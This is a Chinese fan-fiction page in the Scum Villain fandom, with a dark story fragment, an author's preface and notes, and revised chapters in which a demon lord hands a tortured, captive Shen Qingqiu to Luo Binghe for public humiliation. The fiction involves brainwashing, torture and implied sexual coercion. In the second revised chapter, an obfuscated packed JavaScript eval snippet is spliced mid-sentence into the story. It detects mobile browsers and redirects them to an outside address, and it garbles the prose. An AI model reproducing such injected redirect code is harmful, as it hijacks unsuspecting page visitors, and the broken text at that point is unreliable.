可若细细看去,却能在他脸上发现一种悲伤。那是对命运的迷茫与不解,眼神的亮光几乎要破碎,整个人只有虚假的温柔皮囊在苟延残喘。 如果一个人的记忆里,只有不停被要求成某个样子。而对方的‘修正’方法,也只有简单粗暴的责打—— 不可能不生出叛逆与悔恨。 可心底的叛逆并不能帮助他脱离困境,而失去记忆的无助、不够支持他独立生活的欠缺技能,都成为他逃不出去的‘绳索’。 尤其是,每一次生出反抗之意,都会被暴力压下后清洗记忆。 一次又一次的‘洗脑’; 一次又一次的‘反叛’; 一次又一次的‘失败’。 总有那么几次,狂傲九会退缩,会害怕,会想要‘模仿他人’以求存活。 想活下去并不是羞耻的事情。 为了活下去忍受些事情也并不丢人。 甚至说,一个没有反抗之力、也没有破局之力的人。 除了‘服从’与‘忍耐’,什么也做不了。 即便是现在—— 哪怕这个‘不在乎被模仿’之人,并不是真正被模仿者。 甚至真正被模仿的人,可能也并不介意存在另一个‘伪劣的替身’。 但狂傲九还是从内心深处感到迷茫、无助、愧疚。 与想要自毁。 他自己的性格与灵魂底色是什么样?他靠‘伪装’成别人来求存,被他‘模仿’的人又会如何看待他? 虽说为了维持生命并不可耻,但他一次又一次的压制本性、忽略本心之时,莫名的烦躁与耻辱,还是会令他无地自容。 为什么他如此无力? 为什么他要靠压制本性来求活? 为什么他要容忍对方的突然暴起,就因为他不像‘他’? …… 沈清秋没办法回应。 对于一个记忆为空之人,所有的外界语言,都是涂抹于白纸的墨汁,而用心险恶的‘引导’,更是涂满纸张的恶臭。 对于狂傲九的疑惑与改变,沈清秋无话可说。 他也很难保证,如果自己的记忆被抹去,时刻与会突然暴起伤人的疯子接触。是会毅然决然的带对方一起死,还是会被打压的磨灭心性,听之任之。 毕竟—— 时间,与次数的堆积。 本就能改变一切。 沧海能变成桑田,宫殿会落败成路荒遗迹,污泥深潭也能修建起万丈高楼。 繁长的时光中,沈清秋并不知狂傲九经历过什么,怎能苛求对方‘情感正常’? 而狂傲九现在的温和表象,身上的情爱痕迹,无力也无法挣脱的一切—— 又怎能怪责对方? ———— “师—尊——” 刻意被拉长的声音里,不满的情绪最为明显。 沈清秋看着身形骤然僵硬的狂傲九,侧身将对方掩住:“你还知他是你师尊。” “哦?”冰哥的嘴角勾起残忍的弧度,像是发现了新鲜猎物,眼里泛着好奇又诡异的光芒:“第三个‘师尊’。” “畜牲,活着就是污染眼睛。” “倒是与里面那个一样恶劣啊。” “欺师妄上的杂种,活该将头颅割掉喂狗!” “人族与魔族的杂交,没有人类血脉的魔物!” 沈清秋越骂,冰哥的表情越兴奋。这种肆无忌惮的唾骂,这样恶毒又尖酸刻薄的话语…… 实在是,令人怀念到——想掐死对方。 冰哥‘试验’那么多次,狂傲九被他搞的都不像是正常人。 被抹去性格后无限接近于另一人,可两人之间却有着两种截然不同的底层逻辑,导致总会在某些地方出现违和bug。 狂傲九明明被他‘修正’成温柔如水的性子,行为举止也与沈垣极度相似,就连极为抗拒的房事,也被无数次狠狠压下。 但他骨子里的倔强与不服软,却像是火烧不尽的野草一般,哪怕是打断骨头也难以‘根除’。 压制后又会复发的暴起,纷繁却洗刷不掉的抗拒,明明不敢反对却又无意识的攻击…… 灵魂底色,当真是,无法磨灭,却又让人想要狠狠掐住后丢到地上去踩啊。 有后续吗[ 啊,脑子里面五湖四海啥都蹦,还在想……感觉狂傲九应该不是‘软弱’的性子,但是太多冰九里面显得有些‘示弱’,所以在思考怎么破局… 坐地等吏中 啊,这个后续的破局有点难搞。九的战力是打不过冰的,而且冰也不可能会‘放九离开’,所以后续的发展有点难想象…… 45.前言:双A双强双恶人;互杀互砍互算计 披着纯甜皮的双杀向。双恶人,双伪装,双算计,双自白——你我皆是泥潭里爬出来的恶鬼,披上伪善优雅的皮囊,行走于人世之间。既然不是白莲,就别展露不染尘埃的模样。 前言:双A双强双恶人;互杀互砍互算计 为了打开沈清秋心防对自己洗脑成‘温柔弟子’、却在某些时刻流露出嗜血残忍本性的冰哥; 处处谨慎、始终不可能舍弃防备,从不认为会遇见纯善、甚至还想将对方‘培养’成第二个‘沈九’的沈清秋。 双恶人,双伪装,双算计,双自白—— 你我皆是泥潭里爬出来的恶鬼,披上伪善优雅的皮囊,行走于人世之间。既然不是白莲,就别展露不染尘埃的模样。 ———— ———— 冰九不是不能甜,只是他的甜,更多的是‘委屈沈清秋’——用绝对的武力将沈清秋的傲骨折去,以岳清源和其他人的命威胁沈清秋。 接着莫名其妙的(大佬写的转变会很微妙有趣,但有些就离谱的很),九会‘爱上’冰,然后成为冰哥的附属…… 身为九党,我个人不太喜欢虐九的情节(当然也写不出来)。所以——还是九与冰双恶人算计与互相伤害有趣。 爱恨交织,情仇难判。 被伤害的伤口不可能因言语而抚平,层层枷锁的心防不可能因外力被迫解封。被抛弃与忽视的苦痛,永远是强者不堪回忆的过往。 那么—— 所有‘见证’者,都该……死去。 ———— 人设独白 —— 沈清秋: 洛冰河,我原本不想拉你入局,只是你实在太像少年沈九,又偏偏想对我怀柔。 那么,就别怪我让你体验我曾深陷的泥潭,让我看看,旁人若处于我的‘角色’,该如何选择? —— 洛冰河: 沈清秋,你既然被魔界所掳,就该早些学会屈服。简单的折断骨头太无趣,我要你的身与灵,皆随我心动。 你心防甚重,吃软不吃硬。那么……我就催眠(洗脑)自己,陪你玩一场‘师慈子孝’的过家家。 ———— 结局 —— 洛冰河: 我曾入梦过另一个开展,孤身登临王座,享江山无限。 可世间美人那么多,地牢里那个的彻底死亡,还是令他缺失了心头一角。 如果开局之时的怀柔能更纯粹一些,这次的他,应该不会孤寂。 —— 沈清秋: 原来无论任何人处于自己的地步都会成为自己模样。 原来并不是他本性恶劣难驯,而是环境逼迫性情。 原来——他这一辈子,是被天道刻意针对,欲以他的‘悲惨’警告异世之魂。 真好。做个不顾及任何事物的真小人,就是舒心。 ———— ——碎碎念—— 之前的内容是纯甜,后面……开算计与互杀(不互杀不冰九、不互恨不双强)。 至于前面的内容,现在已经重新修改好了。嗯……除了两章沈清秋爆种对打,想必看同人的应该也没那个想法去看对打,所以写不写都无所谓吧(主要是估计也没人看所以懒得写,有人提出来再说)。 其实我一开始的大纲就是互杀线的——只是后面一不小心歪成了齁甜,现在重新捞回互杀…… 嗯。果然我写出来的冰九,最后的结局永远互杀……哈哈哈哈哈。 后期洛冰河会精神分裂成两个(毕竟不虐九就要坑冰,冰哥干了那么多天怒人怨的事情,虐虐他怎么了,总不能逮着一只羊可劲薅啊) HE结局:我会站在你一步的距离,永远陪着你。 BE结局:果然啊,他们这样的人,注定永远孤独。 TE结局:我们这种人,向来都是高空走钢丝,要么拼尽所有成功,要么从高空跌下粉碎成灰。 ———— ———— “呵。” 沈清秋从不相信自己会遇见传闻中都不会出现的东西,故而对洛冰河的警惕即便是到了这种程度也会升起。 甚至说,在对方展露出另一副态度之时,心里生出一种‘果然如此’的感慨。 “师尊好像并不惊奇?弟子还以为能看见您震惊退缩的样子呢?” “这样相似的场景,这样温情脉脉的表白,‘我’都为你丢了命,却还是唤不出你的‘责任心’与‘怜悯’?” 沈清秋没有回话,只是灵力化剑,身边竖起层层防御。 他确实动心过,觉得因他的恶意将人拉入他曾带过的深坑,对对方来说是不是不公平。而对方所表现一如既往的温柔与‘舍己为人’,实在是过于迷惑人心。 至于为什么沈清秋不会被‘打动’,一个是他不相信修真界会存在这样的人,一个是——他不信以自己的气运,能遇见这样的‘美好’。 人无完人,当一个人的表现过于完美之时,这个人身上的伪装就越厚。当对方过于‘了解’自己,一举一动、每个回复都恰好踩着他的痒处、令他下意识感到放松的时候—— 沈清秋心里的那根弦,就绷的越紧。 身为上位者,最忌讳被人知晓喜好。旁人对他的了解越深,就越容易通过他的言行举止来分析他的性格与底层逻辑。 而这些‘暗地里的缺失与需求’一旦被人掌控,就会被旁人毫不犹豫的纳入计划,令他成为别人手中的刀。 所以‘洛冰河’的怀柔没错,想要更深一步的‘接触’与‘探究’却是错误的。 如果说每个人都是一本书,旁人的阅读能让这本书存在一种‘被接近、被了解’的错觉。 沈清秋这本书仅限于被人‘观看’几页。当你想要更深一步的翻看之时,他会直接合上,并且将一切想要‘深究’的手指斩断。 ———— “师尊,您不要答应‘我’。” 洛冰河眼中带着雾气,神情一如当初的温柔:“您只要保持对弟子的冷淡,弟子就会一直存在。” 为了你,我这个本不该存在的‘副人格’,愿违背主人格的意愿,压抑我的本性,牢牢压制自己想要伸出拥抱的手,站在一步远的距离,对你微笑。 ———— 沈清秋其实不用做什么,因为洛冰河本身与年少沈九过于相似。只需要稍微设置几个场景,沈清秋想要知道的东西,就会主动浮出水面。 可现在一切都走到了尽头,他的心里却生出细细密密的刺痛。 这是——一种名为‘遗憾’的情绪。 为什么,他总是会被抛弃。 为什么,他遇见的都是‘别有用心’之人。 为什么,明明是他处处提防、主动割裂遮羞布,却还是会感到无法言喻的失望? 如果按照一般故事,他这样恶劣又虚伪的小人,就该被主人公打入尘埃,丢在历史角落。等主人公功成名就,踏上九五至尊之后,独揽万古江山。 可现在。故事的主角,却对他说—— 皇位之上过于冰冷孤寂,世间天道已收回对他的宠爱,悠长岁月里,本就不该偏好于谁。 他不愿踏上那个冷血的王座,成为第二个‘天道’,所以沈清秋不要同意,更不要应答,就那么维持冷漠与高傲,两人保持一步距离就好。 ——碎碎念—— 过度的相似,有时并不能携手。 除非其中一方愿狠心抹去自己的棱角,就像是洛冰河干脆分裂成两个人格一样。 要么沈清秋被折断傲骨,心甘情愿的窝在其他人怀中,不再展翅;要么洛冰河低下头来,对这个被天道针对的悲惨反派给予致死量的温暖与齁甜。 受过伤的地方不可能不脆弱,被人抛弃的痛苦与愤恨更不可能随几句话就烟消云散。 另一个世界的‘冰妹’之所以能打出he的结局,终极原因是他发泄过了(渣反世界曾损毁过)。 而冰哥与沈清秋不可能he的原因,是沈清秋不可能让洛冰河毁灭世界,更不可能为了阻止对方毁灭世界而‘自发献身’。 冰哥无法通过毁灭转移愤恨,好在还可以通过‘征战’来获得成就感。 沈清秋不会因任何人对自己的善意放下心防,更不可能通过修为以外的方式获得‘成就感’,所以他活的压抑又憋屈。 两个一点就炸、压抑许久仇恨的火药桶,除了互杀与共死,是没有退路的。 (毕竟不能指望用苍生献祭,给冰九的爱恋让路吧。) 所以。真不巧,这个结局,又是互杀共死呢。 —————————— —————————— 这篇文中,沈清秋与洛冰河的‘和平共处’,源于两点。 沈清秋需要‘洛冰河为他找资源’,洛冰河打算‘伪装小白花撬开沈清秋’心防。 所以甭管两人内心如何的波涛汹涌,表面上却是风平浪静、一派祥和。 他们是如此的‘般配’。一样的不是好人,一样的深沉谋划却面容沉静,一样的微笑之中满是警惕与试探,一样的想要占据心理高位支配对方。 如果说不服输的对抗和对谁都不信任是沈清秋的底色,那么明晃晃的占有欲和不满意就强压便是洛冰河的疯癫。 沈清秋曾将希冀寄托于人,得到的是被抛弃。所以他收起信任,不再信任何人。 洛冰河曾将少年炽热的尊崇与仰慕献出,结果却被沈清秋忽略得彻底。所以他要证明自己,让沈清秋知道他的‘优秀’不该被浪费。 ———————————————— ———————————————— 重修 —————————————————— <重修1>风起云涌 ooc预警:俘虏九+心机冰;冰上面有魔尊存在 ——正文—— 当浑身是血、一看就是刚从地牢里捞出来的修真者丢在洛冰河面前的时候,他并没有太多感想。或者说,他已经设想到了诸多可能性,在过来的路上想好了应对方法。 魔尊专程派人喊他过来,又摆出这样‘皮笑肉不笑’的笑容,大概是已经设好了杀局,准备对他下手了。 天魔族,是一种能压制所有魔族的血脉。同样,如果有人能食用天魔族的血肉其中的精华魔气,可以反助其修为增长。 只是魔族血都会受其主体所控,若非一些特殊方法,或实力相差过于悬殊,一般没人会打其他人血脉念头——更何况,天魔不死不灭,其他人就算对他再觊觎,也不敢赌一定能将他压在手心。 只是所有生出智慧的种族,都会不可避免的染上贪婪与侥幸,总是会再某些时刻抛弃好不容易修来的理性,想干一些疯狂的事情。 “冰河。” 高坐首位的魔尊扫了地上血色覆盖的俘虏一眼,眼中满是带着恶意的打量。当然,这份‘恶意’,不仅仅是对底下那个失败者,还有被他提问者: “听说你在修真界的时候,日子过得很苦啊。” “是。”洛冰河眼中闪过一丝了然,已大抵明白俘虏的身份——十有八九是那个修真界叫得出名字的存在,想借他之手于魔众之中声明‘修真界都是伪善者,魔界才是真潇洒’。 议事殿边缘布置着几个传影石,身边的大将们呈半包围式将他与地上的俘虏隐约裹在中心。看来魔尊大人还是不够信任自己,或者说——之前的那些表现还不够‘忠心’,魔尊希望看见他更强的表态。 脚边的这个人,应该与他有着不小的渊源。不仅让魔尊对他有着忌惮,更能用他将洛冰河拿捏住。那么,他会是谁? 洛冰河不动声色的将人扫了一眼,可惜,皮开肉绽的血腥里,满是腐烂与脏污。洛冰河在魔界待了三年,实在是辨认不出来他是谁。只是有一点是确认的——这个被囚过来的倒霉蛋,很快就会成为魔尊对付洛冰河的刀。 ‘哎。’洛冰河轻轻叹口气,冲高坐其上的魔尊拱手,熟练的开始诋毁修真界,用言语表明自己对魔界的衷心: “未曾遇到良师益友,平日里被克扣资源、同门排挤,拜入的师尊不仅对属下非打即骂不说,还被对方寻到机会一剑刺穿心口,丢入深渊毁尸灭迹。” “若非您治下的民众相救,小子早就死在了深渊幽魂之中,哪能有今日光鲜?” 魔尊脸上带着满意的微笑,右手极有节奏的叩击着一旁的扶手,眼里是所有掌权者对下属的玩弄和打量: “这么说,冰河是认同修真界全员该死的?” 那些平日里装的仙风道骨的家伙,一个个的阴险算计与暗地里谋划还不是见不得人?却要天天端着个‘正道仙尊’‘不容侵/犯’的模样,真是笑煞旁人。 下方这个半魔,某一天突然满身是血的从无尽深渊那种鬼地方走出来。眼里是滔天的恨意,说着一定要投入魔主麾下,为推翻修真界做努力。只是一个什么也不是的少年,又有谁在乎呢?没一口将他化为食物已是不错,还能有人替他引荐魔尊? 但这家伙确实有从无尽深渊走出来的本事。不过一年时间就打出名声,更是在得到魔尊传召之后,领着跟随他的小弟踏入战场之中,硬生生为魔族杀出极大优势。 至今不过三年,旁人对他的称呼从‘小鬼’变成‘洛公子’,最后成为魔尊的左膀右臂,钦定的继承人之一——‘洛圣子’。 只是,他毕竟是半魔。在修真界生活那么久,又身兼能压制其他人的天魔血脉。鬼知道他口中的‘遇人不淑,被踢下深渊’是真是假,魔族、魔尊对他的忌惮绝不可能因为几句话、几次试探而消除。 魔尊轻轻的笑了一声,眼里出现极为真实且富有趣味的、残忍又高高在上的意味—— 就像是,一个无聊的大人,想要看蚂蚁究竟会不会游泳。故而专门挖了个小坑,添上水制造出一个‘泥潭’后,再将它刻意丢进去观察玩乐。 谁会在乎这只蚂蚁的想法呢?能带给‘人’乐趣,就足够了。 可如果这只蚂蚁足够懂事,能带给他除弄死外的其他代价。保下这只蚂蚁,将他放置在另一个‘精心’为他打造的‘房屋’里,也不过是随手几下罢了。 洛冰河想要权利的姿态很明显,但却始终不愿收下其他人关于‘钱财’‘女色’的礼物。钱权色总是捆绑在一起,若一个人不喜钱财、又不近女色,行为处事更是小心翼翼、毫无破绽—— 上位者将如何拿捏他,怎么用他砍人伤敌、处理脏事呢? 魔尊又怎么放心将权势分给对方,并且牢牢压制对方、令他不敢反水与夺权呢?没有弱点,就意味着无欲则刚,而什么都不怕、眼中只有最高权力的人,魔尊可不敢保证这家伙哪天抽了风,直接对他亮白刃。 瞟一眼早就布置好的天罗地网,魔尊的声音是惯常的平淡,音调之间连起伏都没有,语序慵懒、速度缓慢: “听说冰河在战场上,好像颇为仁义,从不虐待俘虏?” ...洛冰河忍不住皱了一下眉头。 魔尊这两句话坑很多啊,他已经很努力的拉开自己与修真界的联系,也凭借自己的能力和不怕死的横劲收揽了不少人心。可若是‘洛冰河依旧心系修真界’这句话传出去,魔界上下不会记得他的功绩,只觉得他该死。 魔尊究竟要干什么? 权力是魔尊给的;手下的名字早在一开始就送到了对方面前;他住的宅子是魔尊赐予的;他结交的达官显贵是在魔尊眼皮子进行的。 一切的一切都是明牌,还不够表明他的无害? 还是说,他在什么地方暴露了? 洛冰河仔细捋近些年的事情:当初他跪在修真界几位大能面前,信誓旦旦的说要用自己这身半魔血打入敌人内部,瓦解魔族统治,令几位能覆灭魔族、一统天下。成功在那些人的试探和各种控制药物之下,换取在苍穹山清静峰的生存修养。 当时的峰主沈清秋对他的‘算计’很不满,明面上的打压与折腾绝不算少。当然,鉴于修真联盟那几人的面子,即便他再是不喜与不愿,每月初一总会来到他的屋子,对他进行私人教导。 直到幻花宫组织的仙盟大会,遭遇魔族入侵,在众目睽睽之下,洛冰河被逼出属于魔族的额头纹印。他那修真界的‘师尊’沈清秋遮挡住所有人的视线,一脚将他踢下无尽深渊——而他借着‘在魔界卧底’的名头,成功让修真联盟的那些人以为自己的计划进行的相当圆满。 这三年来,他也是付出不少努力来证明自己能力,又各处抹黑修真界、坚定表示魔界比修真界强n倍,他会为魔界赴汤蹈火、在所不惜,才在魔尊的眼里有了那么几分的‘重要’,并且获得‘圣子’的地位。 于修真界,修真联盟的人以为他是他们的棋子,有这些人在他随时能回去;于魔界,魔族对他的警惕和试探虽少不了,但也算是得到了几乎一人之下万万人之上的地位,无论修真界与魔界那个获胜,或者他们永远绝不出胜负,洛冰河已经近乎位于不败之地,可以算得上‘人生巅峰’。 所以。他现在需要的,是应对魔尊又突然兴起的对他试探。 洛冰河稍微挑了一下眉毛,勾出温柔恭敬的笑容,冲魔尊鞠躬拱手:“尊主的意志就是属下的命令,尊主觉得小子过于仁慈,小子下次就将他们全部杀死。” “是嘛。”魔尊的声音略微上挑,于空气中转了几个弯:“本尊得了个有趣玩意,不知冰河有没有想法把玩一通?” “?”洛冰河顺着魔尊视线扫过去,心中无波无澜:原来是让他众目睽睽之下折辱修真界的强者,进而绝了他回修真界的路,将他彻底捆死在魔族这搜长船上。 早说啊。洛冰河心中冷嗤了一声。看着身边那么大的架势,以及当着他的面被打开的传影石,嘴角忍不住的抖了一下:为了这一出戏,魔尊可真舍得下本。 “尊主若是愿意给小子这个机会,小子自然感激不尽!” “是么?”魔尊的声音突然阴沉下来,期间有着明晃晃的试探与复杂的恶意:“冰河不问一下是什么?” 得,魔尊这是疑心病又犯了。明明是他‘赐予’的,却又偏怕洛冰河顺杆子爬上去,一会若是说出‘那本尊的板凳你可敢坐’,洛冰河也没必要跟他打嘴仗,直接拔剑上去干得了。 洛冰河干脆利落的半跪于地,脖子弯出顺服的曲线,直言表态:“尊主即便是想要小子的头颅,小子立刻洗干净送与您把玩。” 身旁的俘虏散发出腥甜与腐烂的味道,使人头晕目眩。但这令人反胃的味道中,隐约有一丝好像很熟悉的,冷香? 冷香?洛冰河心头猛的一跳,从脑海隐约升起某种奇异的记忆。不是吧?以苍穹山掌门对那位的重视,对方不至于被修真界抛弃或成为计划的一环,沦落此等境地,吧? 虽然说那种情况发生的几率很低,但并不是不可能。如果真是那样,这位阴沟翻船的‘师尊’,他该以什么姿态去应对呢? 他平日里经常诋毁沈清秋以换的魔族之人的疼惜,只是真正讲起来,沈清秋倒也不算多恶毒。 无非就是卡他入门,克扣他资源,在他‘告状’之时看都不带看的让人将他拖下去——当然,最重要的,还是将与魔物拼杀爆种的他,踹下无尽深渊。直接让他开启了魔界生涯,半点没有转圜余地。 而且他这位‘师尊’可不是啥贴心良善的性子。且不说那些明面上的折腾,即便是在那些人的要求下,每到初一夜里,这家伙就像是刷个存在感的任务似的,露个面、丢下几本功法或资源就走。期间充满了‘敷衍’与‘看不上’,还有直接写在脸上的‘不情愿’。 林零总总算下来,统共丢给他一本看起来不知道从哪里扒拉出来的破烂假心法,其中的错误之处看的人近乎想笑。还有几个不痛不痒的法器和道术,级别之低就像是买东西的赠品似的—— 反正绝对算不得良师益友,美好回忆就是了。 真讲起来,说恶毒,倒也不算多恶毒;可若是说他本性不坏,洛冰河又实在是没办法替他‘美言’——他又不瞎,沈清秋的厌恶和敷衍那么明显,他要是这样都能替对方找出无数借口,才是脑子有坑。 只是,如果身边这个真是那个人,估计修真界那边一定发生了什么剧烈变化。 如果他能‘骗取’沈清秋的信任,等到情势不对、魔界攻打修真界失败之际,偷摸帮助沈清秋回归修真界—— 以对方绝不肯随意妥协的性子和被那些人算计的仇恨,洛冰河进可攻(更进一步登位魔尊)退可守(借沈清秋回修真界),将立于比现在更进一步的不败之地。 随着洛冰河直接挑明要将头颅送出去,魔尊倒也不在纠结于其他,只随手令人取一盆带着冰渣的污水,泼于俘虏身上。春日的风不算太凉,可春寒料峭,冷到透骨的浑水将地上的血团子激醒,对方手腕微动,却发不出任何灵力攻击。 魔尊满意的看着被污水唤醒的修真者,以及被污水溅到、却不曾尝试躲避的洛冰河。 “昔日的沈仙尊,现在的阶下囚。” 魔尊嘴角弯着看不出来弧度的笑容,音调平淡中却有着奇异的弧度,就像是与藤蔓参杂在一起、择人而嗜的丛林毒蛇。动作随意而慵懒、视线却紧锁在半跪于地、始终不曾有动作的洛冰河身上: “冰河啊,你说是将他丢入万毒窟喂虫,还是扔到风栏院废物利用?” 万毒窟有无数虫蛇,活人丢下去后不出一时半刻便会被掩埋。一天之后,便是连骨头渣子都找不到。 风栏院是著名的消金窟,手段无数。便是再贞洁硬朗的人扔进去,也会成为风情万种的娇媚头牌。 当然,沈清秋这身纯粹的修真灵力自是被控,可被灵力常年洗刷的身子,却能帮助魔族调理暴走的血脉。若是直接弄死,确实有些可惜。将其当成梳理血脉的工具,榨干最终价值后丢入万毒窟成为虫蚁食粮,才是最好的方式。 而且。魔族眼里闪过流光—— 沈清秋可是苍穹山的招牌,杀过不少魔族、更是修真界正道巅峰之一。被他擒拿抓取自然能大伤修真界的元气,削减修真界整体实力;但若是能说服于他,让他为魔族所用,才能真正打击修真界啊。 即便是最后不能,将其调成宠奴,在战场之上将人带出来。令所有人都知晓一介仙尊成为魔族玩物,任魔族肆意玩弄、对他们摇尾乞怜。不仅能打击修真界那些人的礼义廉耻,更能激发苍穹山那些人的怒火,引他们葫芦娃救爷爷的自投罗网。 当然。至于为什么非要将洛冰河专门喊过来,让他‘亲自折辱’沈清秋,也是有说法的。 洛冰河成长的太快了,短短三年就脱离一众选手,成为‘圣子’之一。虽然说圣子依旧是魔尊随时一句话就能‘打入尘埃’‘收回特权’的下属,是根基薄弱、没有家族支持的‘青年才俊’。可这样的成长,还是令人觉得心惊。 一个身上流着一半修真界血的魔族; 一个在修真界生活了十几年的魔族; 一个被救起来后,完全不掩饰野心,想要获得‘魔族至尊’之位的,却不愿迎娶魔尊女儿的人魔混血。 实力强劲,却不喜金银珠宝和美色,那就只想要权。 想要权的人很多,有实力的人更是不知凡几。能最后走到一人之下地位的,大都背负着不俗的气运。 虽说魔族不在乎血缘,可权利外泄的下一步,就是可以预料的死期。 既不愿意‘联姻’,又没有‘血缘关系’,他越是少年英才,魔尊对他的忌惮就越深。而这个人魔混血,是修真界出来的不说,更在修真界第一大派,生活了十多年之久。这其中发生的故事与牵连,绝不可能由一句‘仇恨’说得清楚。 这样一个有野心、有实力、有修真界背景的半魔,魔尊若是真不管不问的放心用,他就白活了这么多年。 <重修2>宾主皆欢 ooc预警:俘虏九+圣子冰,冰头上存在个魔尊 ——正文—— 随着那盆冰水浇下,大家手里的牌都明朗起来。 沈清秋这个倒霉蛋被魔尊抓住,魔尊一方面希望对方服软后为自己所用,一方面又用他来试探新晋圣子洛冰河。而开启的传影石,不仅在修真界为他们两个拉一波仇恨,绝了两人回去的路,还想看看能不能通过沈清秋钓出更大的鱼。 洛冰河呢?他本在修真联盟那边挂了名的,在某些时刻给出几个信息帮助修真界取胜,他立刻能成为‘辛苦卧底’的卧薪尝胆少年郎;而若是修真界势弱,魔族圣子的身份,能够帮洛冰河最快占据人心,‘名正言顺’的夺取魔尊位置。 那么,沈清秋本人呢?身为仙魔战场上被自己人出卖算计的仙尊,现在沦为魔族的阶下囚,遍体鳞伤+灵力全失。现在还被魔尊恶意满满的传影于修真界,要拿他的脸面去踩正道那些人,用他的性命去试探魔族新秀。 而且这个魔族新秀,在世间传闻中,好像被沈清秋这个‘师尊’坑得极惨。 这样的一出戏,谁能压下心底的八卦之意,不为之心动呢? 洛冰河垂着头,视线边缘锁定着被冷水激醒后开始有些动作的‘俘虏’,心里快速规划自己应该露出什么样的表情才能最大程度‘取信于’沈清秋,又该用什么样的态度去‘面对’魔尊。 他这个‘师尊’绝无可能如现在表现的那样软弱可欺,只要给他一个机会,殿堂上的这些人估计都活不下来。虽然这个机会不一定会出现,魔尊一定会牢牢将人盯住,狠狠的将人压制于手心之中,但洛冰河会为此做好预备,给自己立好‘完美人设’。 那么一会的行为之中,他必然要在整体的‘顺从魔尊指令’下展露一些细致到只有两人才能发现的‘微动作’,等他回头寻到机会,再为沈清秋详细‘解释’,言说他为救人而‘不得已为之’。 毕竟他的心一直是为了‘救人’嘛。就算是过程出现些许差错,只要结果正确,心意体现出来了,相信他这位‘师尊’一定能‘理解’的。 洛冰河的心脏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283527|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快速跳动起来,全身的血液就像是被激活燃烧一般,因之后的‘演出’而浑身微微发热。这种刀口舔血的刺激,一次性要‘欺骗’两位至尊强者、一旦被发现就是高空走线却不慎跌落的风险…… 真是令人该死的心痒痒啊。 没有人能拒绝一夜暴富的诱惑,更没有人能放弃唾手可得、一步之遥的权势。哪怕这个代价是一着不慎粉身碎骨,可谁会不想着‘拼一把’的信念,孤注一掷去寻求那个‘侥幸’呢。 “冰河啊,你说是将他丢入万毒窟喂虫,还是扔到风栏院废物利用?” 来了。洛冰河深吸一口气,极短的时间确定好之后的‘剧本’,紧紧闭上双眼又迅速睁开,调整一下表情,抬头看向高台上的王。 魔尊看似给他选择,但实际上,如果洛冰河真替魔尊选择了,怕是魔尊又该疑神疑鬼的觉得选择权被夺走。而如果他选择看起来更残忍的‘喂虫’,看似可怕,但实际上却让人死得过于痛快,魔尊又要怀疑他是不是看重旧情。 所以洛冰河只能选择风栏院,而且还是亲手将人折腾到半死,丢过去后没事看着对方不让他逃跑闹事,帮魔尊掐在手心里让人跳不出去才行。 魔族如何确保他对修真界的绝对对立?如何确认修真界一定会将他抛弃?如何保证即使他‘回到’修真界,也会被人人喊打? 犯上。 杀戮。 辱尊。 只要他身上有着绝对无法清洗的污点。 修真界,就容他不得。 而不被修真界所容的魔族。 自然是,用起来很‘放心’的。 叠加一开始的魔尊说‘得了有趣玩意,想送与他把玩’,魔尊的意思再明显不过——他要洛冰河当着魔族众人和整个修真界的面,尚师。 士可杀不可辱,所有的拼杀战死,都是对英雄的赞扬。如果洛冰河真在魔界将沈清秋弄死,沈清秋就会以‘战死魔界’的身份,被人高高推上神位。 别管他在修真界究竟如何看待。只要沈清秋是战败被俘、客死他乡;只要沈清秋是因为修真者的身份而死;只要沈清秋没被撤去修真界第一大派的峰主之位。沈清秋这个名字,就是修真界砍向魔界、对魔界进行复仇操作的最好的刀刃。 如此一来,‘俘虏沈清秋’不仅起不到‘打击修真界’的作用,甚至还给了修真界‘义正言辞’‘大义凛然’‘名正言顺’出兵魔界的借口。而洛冰河,因为搞砸了这么大的事情,脖子上的玩意,也别想留过今晚。 沈清秋不能死。或者说魔尊不想让他死。 可是魔尊又不想让他这么‘体面’的活。 身为俘虏在地牢里硬气的活着,符合世人对英雄的幻想,但绝对不符合魔尊的爱好。这样的人如果不能为他所用,要么赶紧弄死,要么想方设法压榨他的最后价值——再加上修真者的躯体能帮忙魔族调理血脉,还与洛冰河有些关系。 事情就这样,堆积出如此戏剧性的一幕。 魔尊想让沈清秋身败名裂,还想绝了洛冰河与修真界的联系,更想通过己方的活春/宫打击修真界,替他钓出几条大鱼。但这些话,他又不想说的那么明白——他可是个爱护晚辈的慈爱君主,只是帮养子抓了凶手而已,至于洛冰河干了什么,怎么能怨到他身上呢? 这一切完全是出于‘洛冰河’的自愿,他体内毕竟有魔族血脉,就算是挑战世俗人伦,分桃断袖不说还敢欺师犯上,修真界那些人又能如何呢?无非是——不会再信任他,不会再接受他,而已。 “属下大胆,请尊主将此人赏赐于我!”洛冰河直接跪地,头磕于地面,姿态极为恭敬谦卑——魔尊花这么大的功夫演这一出戏,他身为‘主角’之一,当然要处处彰显魔尊之高高在上,手握一切。 “哦?”魔尊手抵在下巴上,指尖极具规律的敲击着脸颊。这样的动作使他褪去属于上位者的冷酷无情,反而展现出几分属于长辈的慈祥: “你要他作何?” 魔尊随意的扫了周遭一眼,在看到角落反射出来的轻微亮光后,连语气都显得轻快许多。空气中传出有些暗哑的笑声,像是一个走下高位的长者,在面对最喜爱的晚辈时,寻找合适的字词: “还尊师的恩情?” 这句话相当于明示——不按照魔尊的意思走,他就会与沈清秋一样,成为患难师徒。 洛冰河脸上浮起被人欺压的恼怒和小人得志的猖狂:“对。”接着恶狠狠的站起来,一脚踹过去,将努力爬起来却尚未坐起来的人再次踢翻:“师尊所赐,弟子不敢忘。今日得尊主厚赐,倒是能‘奉还’部分。” ‘奉还’两字咬得极重,任谁都能听出其中的‘友好’。 位居首位的魔尊被逗得哈哈大笑,对这出狗咬狗的场景表达了相当满意的评价: “听闻修真界最为尊师重道,养出来的弟子一个个乖得跟狗似的。他们一个个装的端庄风雅,暗地里的心思,却还不是腐烂不堪?” 